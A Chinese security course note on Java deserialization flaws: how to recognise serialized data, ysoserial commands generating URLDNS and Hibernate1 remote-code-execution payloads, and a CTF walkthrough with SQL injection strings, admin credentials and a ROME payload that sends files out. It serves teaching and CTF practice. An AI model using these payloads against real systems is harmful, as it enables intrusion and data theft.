#知識點:
1、Java 反序列化演示-原生 API 接口
2、Java 反序列化漏洞利用-Ysoserial 使用
3、Java 反序列化漏洞發(fā)現(xiàn)利用點-函數(shù)&數(shù)據(jù)
4、Java 反序列化考點-真實&CTF 賽題-審計分析
#內(nèi)容點:
1、明白-Java 反序列化原理
2、判斷-Java 反序列化漏洞
3、學(xué)會-Ysoserial 工具使用
4、學(xué)會-SerializationDumper
5、了解-簡要 Java 代碼審計分析
#前置知識:
序列化和反序列化的概念:
序列化:把 Java 對象轉(zhuǎn)換為字節(jié)序列(字節(jié)流)的過程。
反序列化:把字節(jié)序列恢復(fù)為 Java 對象的過程。
對象的序列化主要有兩種用途:
把對象的字節(jié)序列永久地保存到硬盤上,通常存放在一個文件中;(持久化對象)
在網(wǎng)絡(luò)上傳送對象的字節(jié)序列。(網(wǎng)絡(luò)傳輸對象)
函數(shù)接口:
Java: Serializable Externalizable 接口、fastjson、jackson、gson、
ObjectInputStream.read、ObjectObjectInputStream.readUnshared、
XMLDecoder.read、ObjectYaml.loadXStream.fromXML、
ObjectMapper.readValue、JSON.parseObject 等
PHP: serialize()、 unserialize()
Python:pickle
數(shù)據(jù)出現(xiàn):
1、功能特性:
反序列化操作一般應(yīng)用在導(dǎo)入模板文件、網(wǎng)絡(luò)通信、數(shù)據(jù)傳輸、日志格式化存儲、對象數(shù)
據(jù)落磁盤、或 DB 存儲等業(yè)務(wù)場景。因此審計過程中重點關(guān)注這些功能板塊。
2、數(shù)據(jù)特性:
一段數(shù)據(jù)以 rO0AB 開頭,你基本可以確定這串就是 JAVA 序列化 base64 加密的數(shù)據(jù)。
或者如果以 aced 開頭,那么他就是這一段 java 序列化的 16 進制。
3、出現(xiàn)具體:
http 參數(shù),cookie,sesion,存儲方式可能是 base64(rO0),壓縮后的
base64(H4s),MII 等 Servlets http,Sockets,Session 管理器,包含的協(xié)議就包
發(fā)現(xiàn):
黑盒分析:數(shù)據(jù)庫出現(xiàn)地-觀察數(shù)據(jù)特性
白盒分析:組件安全&函數(shù)搜索&功能模塊
利用:
Ysoserial工具利用
? 原生 API-Ysoserial_URLDNS 使用
? 三方組件-Ysoserial_支持庫生成使用
? 解密分析-SerializationDumper 數(shù)據(jù)分析
? CTF 賽題-[網(wǎng)鼎杯 2020 朱雀組]ThinkJava
#java序列化和反序列化
具體代碼:
package SerialTest;
import java.io.*;
public class SerializableTest {
????public static void main(String[] args) throws Exception {
????????serialPerson();
????????Person person = deserialPerson();
????????System.out.println(person);
????}
????/**
?????* Person對象序列化
?????* @throws IOException
?????*/
????private static void serialPerson() throws IOException {
????????Person person = new Person("xiaodi", 28, "男", 101);
????????ObjectOutputStream oos = new ObjectOutputStream(
????????????????new FileOutputStream(new File("d:/person.txt"))
????????);
????????oos.writeObject(person);
????????System.out.println("person 對象序列化成功!");
????????oos.close();
????}
????/**
?????* Person對象反序列化
?????* @return
?????* @throws Exception
?????*/
????private static Person deserialPerson() throws Exception {
????????ObjectInputStream ois = new ObjectInputStream(
????????????????new FileInputStream(new File("d:/x.txt"))
????????);
????????Person person = (Person)ois.readObject();
????????System.out.println("person 對象反序列化成功!");
????????//Runtime.getRuntime().exec("calc.exe");
????????return person;
????}
}
正序列化
符合數(shù)據(jù)特性中的aced開頭
利用:當(dāng)我們對序列化后的數(shù)據(jù)進行數(shù)據(jù)更改,構(gòu)造出惡意代碼,再放回去,便形成了反序列化攻擊
#原生 API-Ysoserial_URLDNS 使用
由于Ys工具多半是針對原生類的,而現(xiàn)在大多數(shù)都是以組件的形式,格式可能不支持
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar
Serializable 接口
Externalizable 接口
沒組件生成 DNS 利用:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://43x1nz.dnslog.cn" > urldns.ser
修改文件,將person文件換為a.txt載入使反序列化
相關(guān)的DNS收到其信息,說明其會進行反序列化并進行執(zhí)行
#三方組件-Ysoserial_支持庫生成使用
https://github.com/WebGoat/WebGoat
有組件生成 RCE:
將此文件庫保存下來,進行引用
1、生成:java -Dhibernate5 -cp hibernate-core-
5.4.9.Final.jar;ysoserial-0.0.6-SNAPSHOT-all.jar
ysoserial.GeneratePayload Hibernate1 "calc.exe" > x.bin
進行本地執(zhí)行計算機的命令
生成以ACED頭的
而題中的要求要rO0AB 開頭,故需進行base64加密
2、解碼:python java.py
import base64
file = open("x.bin","rb")
now = file.read()
ba = base64.b64encode(now)
print(ba)
file.close()
成功
#解密分析-SerializationDumper 數(shù)據(jù)分析
在代碼審計中或代碼利用時判斷是否成功——只支持十六進制
https://github.com/NickstaDB/SerializationDumper
java -jar SerializationDumper-v1.13.jar -r urldns.ser >dns.txt
#CTF 賽題-[網(wǎng)鼎杯 2020 朱雀組]ThinkJava
0x01 注入判斷,獲取管理員帳號密碼:
根據(jù)提示附件進行 javaweb 代碼審計,發(fā)現(xiàn)可能存在注入漏洞
另外有 swagger 開發(fā)接口,測試注入漏洞及訪問接口進行調(diào)用測試
數(shù)據(jù)庫名:myapp,列名 name,pwd
注入測試:
POST /common/test/sqlDict
dbName=myapp?a=' union select (select name from user)#
dbName=myapp?a=' union select (select pwd from user)#
0x02 接口測試
/swagger-ui.html 接口測試:
{
"password":"admin@Rrrr_ctf_asde",
"username": "admin"
}
根據(jù)題目中給的swagger的接口login,進行測試
發(fā)現(xiàn),data里有反序列化數(shù)據(jù),解密一下(base64解密java_bs.py+SerializationDumper解密)
在接口current下,輸入data數(shù)據(jù)
操作成功,且得知了是admin操作的,這就說明在序列化下存在admin的權(quán)限,且只有此功能存在了對序列化的讀取才會知道有admin用戶,故存在反序列化操作
利用原生類URLDNS進行測試
同時進行base64加密——Java.python——因為data里的序列化為rO0AB 開頭
提交
有了,漏洞存在
獲取flag
ROME:讓對方的指定文件發(fā)送到指定地址中
成功監(jiān)聽文章來源:http://www.zghlxwxcb.cn/news/detail-846556.html
文章來源地址http://www.zghlxwxcb.cn/news/detail-846556.html
到了這里,關(guān)于小迪安全47WEB 攻防-通用漏洞&Java 反序列化&EXP 生成&數(shù)據(jù)提取&組件安全的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!